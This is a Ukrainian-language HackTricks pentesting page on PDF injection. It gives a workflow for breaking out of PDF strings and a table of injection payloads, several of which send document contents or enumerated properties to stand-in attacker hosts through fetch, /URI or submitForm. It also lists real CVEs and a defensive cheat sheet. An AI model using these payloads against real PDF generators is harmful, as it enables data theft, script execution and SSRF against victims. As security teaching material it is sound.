PDF Injection

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Якщо ваш ввід відображається всередині PDF-файлу, ви можете спробувати ввести PDF-дані для виконання JavaScript, виконати SSRF або вкрасти вміст PDF. Синтаксис PDF надзвичайно ліберальний – якщо ви можете вийти з рядка або словника, який вбудовує ваш ввід, ви можете додати абсолютно нові об'єкти (або нові ключі в тому ж об'єкті), які Acrobat/Chrome з радістю розпарсить. З 2024 року хвиля звітів про баги показала, що одна неекранована дужка або зворотний слеш достатньо для повного виконання скрипту.

TL;DR – Сучасний робочий процес атаки (2024)

  1. Знайдіть будь-яке значення, контрольоване користувачем, яке потрапляє всередину (рядка в дужках), /URI ( … ) або /JS ( … ) поля в згенерованому PDF.
  2. Введіть ) (закриваючи рядок), за яким слідує один з примітивів нижче, і закінчіть ще однією відкриваючою дужкою, щоб зберегти синтаксис дійсним.
  3. Доставте шкідливий PDF жертві (або до бекенд-сервісу, який автоматично рендерить файл – чудово для сліпих багів).
  4. Ваш вантаж виконується в переглядачі PDF:
  • Chrome / Edge → PDFium Sandbox
  • Firefox → PDF.js (див. CVE-2024-4367)
  • Acrobat → Повний JavaScript API (може ексфільтрувати довільний вміст файлів за допомогою this.getPageNthWord)

Приклад (перехоплення посилання на анотацію):

pdf
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (

Перший ) закриває оригінальний рядок URI, після чого ми додаємо новий Action словник, який Acrobat виконає, коли користувач натисне на посилання.

Корисні примітиви для ін'єкцій

МетаФрагмент PayloadПримітки
JavaScript при відкритті/OpenAction << /S /JavaScript /JS (app.alert(1)) >>Виконується миттєво при відкритті документа (працює в Acrobat, не в Chrome).
JavaScript при натисканні на посилання/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>Працює в PDFium та Acrobat, якщо ви контролюєте анотацію /Link.
Сліпа ексфільтрація даних<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)Поєднайте з this.getPageNthWord всередині JS, щоб вкрасти вміст.
Серверний SSRFТе ж саме, що й вище, але націлюйте на внутрішню URL-адресу – чудово, коли PDF рендериться службами бек-офісу, які поважають /URI.
Перенос рядка для нових об'єктів\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobjЯкщо бібліотека дозволяє вам вставляти символи нового рядка, ви можете створювати абсолютно нові об'єкти.

Трюк сліпої енумерації

Гарет Хейз (PortSwigger) випустив однорядковий код, який перераховує кожен об'єкт всередині невідомого документа – зручно, коли ви не можете бачити згенерований PDF:

pdf
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (

Код ітерує по DOM Acrobat і робить вихідні запити для кожної пари властивість/значення, надаючи вам JSON-подібний дамп файлу. Дивіться білу книгу “Portable Data exFiltration” для повної техніки.

Реальні помилки (2023-2025)

  • CVE-2024-4367 – Випадкове виконання JavaScript у PDF.js Firefox до 4.2.67 обійшло пісочницю з допомогою створеної дії /JavaScript.
  • Bug bounty 2024-05 – Великий фінансовий технологічний сервіс дозволив нотатки рахунків, надані клієнтом, які потрапили в /URI; звіт був оплачений на $10k після демонстрації SSRF до внутрішнього хосту метаданих за допомогою file:/// URI.
  • CVE-2023-26155 – Впровадження команд через node-qpdf через несенітізований шлях PDF показує важливість екранування зворотних слешів і дужок навіть перед шаром PDF.

Захисний шпаргалка

  1. Ніколи не конкатенуйте сирий ввід користувача всередині () рядків або імен. Екрануйте \, (, ) відповідно до §7.3 специфікації PDF або використовуйте шістнадцяткові рядки <...>.
  2. Якщо ви створюєте посилання, надавайте перевагу /URI (https://…), які ви повністю URL-кодуєте; блокуйте схеми javascript: у клієнтських переглядачах.
  3. Видаляйте або перевіряйте словники /OpenAction, /AA (додаткові дії), /Launch, /SubmitForm і /ImportData під час обробки PDF.
  4. На стороні сервера рендеріть ненадійні PDF за допомогою безголового конвертера (наприклад, qpdf –decrypt –linearize), який видаляє JavaScript і зовнішні дії.
  5. Тримайте переглядачі PDF в актуальному стані; PDF.js < 4.2.67 і Acrobat Reader до липня 2024 року дозволяють тривіальне виконання коду.

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks